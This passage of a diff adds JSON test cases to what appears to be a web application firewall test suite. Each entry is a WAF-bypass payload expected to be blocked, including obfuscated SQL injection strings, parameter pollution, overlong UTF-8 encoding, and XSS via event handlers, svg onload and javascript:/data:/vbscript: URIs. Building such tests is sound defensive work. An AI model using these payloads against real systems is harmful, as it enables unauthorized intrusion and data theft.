+ "tags": ["bypass", "whitespace", "sqli", "quick"],
96
+ "expected_block": true,
97
+ "severity_hint": "Critical",
98
+ "notes": "Tab/newline SQLi bypass",
99
+ "category": "WAF-Bypass"
100
+ },
101
+ {
102
+ "id": "BYPASS-WHITESPACE-002",
103
+ "payload": "GET /?q=<script\t\n>alert(1)</script>",
104
+ "tags": ["bypass", "whitespace", "xss"],
105
+ "expected_block": true,
106
+ "severity_hint": "Critical",
107
+ "notes": "Whitespace in tag XSS bypass",
108
+ "category": "WAF-Bypass"
109
+ },
110
+ {
111
+ "id": "BYPASS-NULL-001",
112
+ "payload": "GET /?id=1'%00OR '1'='1",
113
+ "tags": ["bypass", "null-byte", "sqli", "quick"],
114
+ "expected_block": true,
115
+ "severity_hint": "Critical",
116
+ "notes": "Null byte SQLi bypass",
117
+ "category": "WAF-Bypass"
118
+ },
119
+ {
120
+ "id": "BYPASS-NULL-002",
121
+ "payload": "GET /?q=<scr%00ipt>alert(1)</script>",
122
+ "tags": ["bypass", "null-byte", "xss"],
123
+ "expected_block": true,
124
+ "severity_hint": "Critical",
125
+ "notes": "Null byte XSS bypass",
126
+ "category": "WAF-Bypass"
127
+ },
128
+ {
129
+ "id": "BYPASS-CONCAT-001",
130
+ "payload": "GET /?id=1' OR 'a'='a",
131
+ "tags": ["bypass", "alternative-syntax", "sqli"],
132
+ "expected_block": true,
133
+ "severity_hint": "Critical",
134
+ "notes": "Alternative SQLi syntax",
135
+ "category": "WAF-Bypass"
136
+ },
137
+ {
138
+ "id": "BYPASS-CONCAT-002",
139
+ "payload": "GET /?id=1' OR 0x31=0x31",
140
+ "tags": ["bypass", "hex-values", "sqli"],
141
+ "expected_block": true,
142
+ "severity_hint": "Critical",
143
+ "notes": "Hex value comparison SQLi",
144
+ "category": "WAF-Bypass"
145
+ },
146
+ {
147
+ "id": "BYPASS-FUNCTION-001",
148
+ "payload": "GET /?id=1' OR CHAR(49)=CHAR(49)--",
149
+ "tags": ["bypass", "function-obfuscation", "sqli", "quick"],
150
+ "expected_block": true,
151
+ "severity_hint": "Critical",
152
+ "notes": "CHAR function SQLi bypass",
153
+ "category": "WAF-Bypass"
154
+ },
155
+ {
156
+ "id": "BYPASS-FUNCTION-002",
157
+ "payload": "GET /?id=1' OR ASCII('1')=49--",
158
+ "tags": ["bypass", "function-obfuscation", "sqli"],
159
+ "expected_block": true,
160
+ "severity_hint": "Critical",
161
+ "notes": "ASCII function SQLi bypass",
162
+ "category": "WAF-Bypass"
163
+ },
164
+ {
165
+ "id": "BYPASS-CONCAT-003",
166
+ "payload": "GET /?id=1' OR CONCAT('1','1')='11'--",
167
+ "tags": ["bypass", "function-obfuscation", "sqli"],
168
+ "expected_block": true,
169
+ "severity_hint": "Critical",
170
+ "notes": "CONCAT function SQLi bypass",
171
+ "category": "WAF-Bypass"
172
+ },
173
+ {
174
+ "id": "BYPASS-NESTED-001",
175
+ "payload": "GET /?q=<img src=x onerror=alert(1)>",
176
+ "tags": ["bypass", "event-handler", "xss", "quick"],
177
+ "expected_block": true,
178
+ "severity_hint": "Critical",
179
+ "notes": "Event handler XSS",
180
+ "category": "WAF-Bypass"
181
+ },
182
+ {
183
+ "id": "BYPASS-NESTED-002",
184
+ "payload": "GET /?q=<svg onload=alert(1)>",
185
+ "tags": ["bypass", "svg", "xss", "quick"],
186
+ "expected_block": true,
187
+ "severity_hint": "Critical",
188
+ "notes": "SVG onload XSS",
189
+ "category": "WAF-Bypass"
190
+ },
191
+ {
192
+ "id": "BYPASS-NESTED-003",
193
+ "payload": "GET /?q=<body onpageshow=alert(1)>",
194
+ "tags": ["bypass", "event-handler", "xss"],
195
+ "expected_block": true,
196
+ "severity_hint": "Critical",
197
+ "notes": "onpageshow event XSS",
198
+ "category": "WAF-Bypass"
199
+ },
200
+ {
201
+ "id": "BYPASS-PROTO-001",
202
+ "payload": "GET /?url=javascript:alert(1)",
203
+ "tags": ["bypass", "protocol-handler", "xss", "quick"],
204
+ "expected_block": true,
205
+ "severity_hint": "Critical",
206
+ "notes": "javascript: protocol XSS",
207
+ "category": "WAF-Bypass"
208
+ },
209
+ {
210
+ "id": "BYPASS-PROTO-002",
211
+ "payload": "GET /?url=data:text/html,<script>alert(1)</script>",
212
+ "tags": ["bypass", "data-uri", "xss", "quick"],
213
+ "expected_block": true,
214
+ "severity_hint": "Critical",
215
+ "notes": "data: URI XSS",
216
+ "category": "WAF-Bypass"
217
+ },
218
+ {
219
+ "id": "BYPASS-PROTO-003",
220
+ "payload": "GET /?url=vbscript:msgbox(1)",
221
+ "tags": ["bypass", "protocol-handler", "xss"],
222
+ "expected_block": true,
223
+ "severity_hint": "High",
224
+ "notes": "vbscript: protocol (IE legacy)",
225
+ "category": "WAF-Bypass"
226
+ },
227
+ {
228
+ "id": "BYPASS-HPP-001",
229
+ "payload": "GET /?id=1&id=' OR '1'='1",
230
+ "tags": ["bypass", "hpp", "sqli", "quick"],
231
+ "expected_block": true,
232
+ "severity_hint": "Critical",
233
+ "notes": "HTTP Parameter Pollution SQLi",
234
+ "category": "WAF-Bypass"
235
+ },
236
+ {
237
+ "id": "BYPASS-HPP-002",
238
+ "payload": "GET /?q=safe&q=<script>alert(1)</script>",
239
+ "tags": ["bypass", "hpp", "xss"],
240
+ "expected_block": true,
241
+ "severity_hint": "Critical",
242
+ "notes": "HTTP Parameter Pollution XSS",
243
+ "category": "WAF-Bypass"
244
+ },
245
+ {
246
+ "id": "BYPASS-CHUNK-001",
247
+ "payload": "GET /?id=1' OR&id= '1'='1",
248
+ "tags": ["bypass", "parameter-fragmentation", "sqli"],
249
+ "expected_block": true,
250
+ "severity_hint": "Critical",
251
+ "notes": "Fragmented parameter SQLi",
252
+ "category": "WAF-Bypass"
253
+ },
254
+ {
255
+ "id": "BYPASS-OVERLONG-001",
256
+ "payload": "GET /?id=%c0%27 OR '1'='1",
257
+ "tags": ["bypass", "overlong-utf8", "sqli"],
258
+ "expected_block": true,
259
+ "severity_hint": "Critical",
260
+ "notes": "Overlong UTF-8 encoded quote SQLi",
261
+ "category": "WAF-Bypass"
262
+ },
263
+ {
264
+ "id": "BYPASS-HEADER-001",
265
+ "payload": "POST / HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\n\r\nid=1' OR '1'='1",
266
+ "tags": ["bypass", "header-injection", "sqli"],
267
+ "expected_block": true,
268
+ "severity_hint": "Critical",
269
+ "notes": "SQLi in POST body with header manipulation",
270
+ "category": "WAF-Bypass"
271
+ }
272
+ ]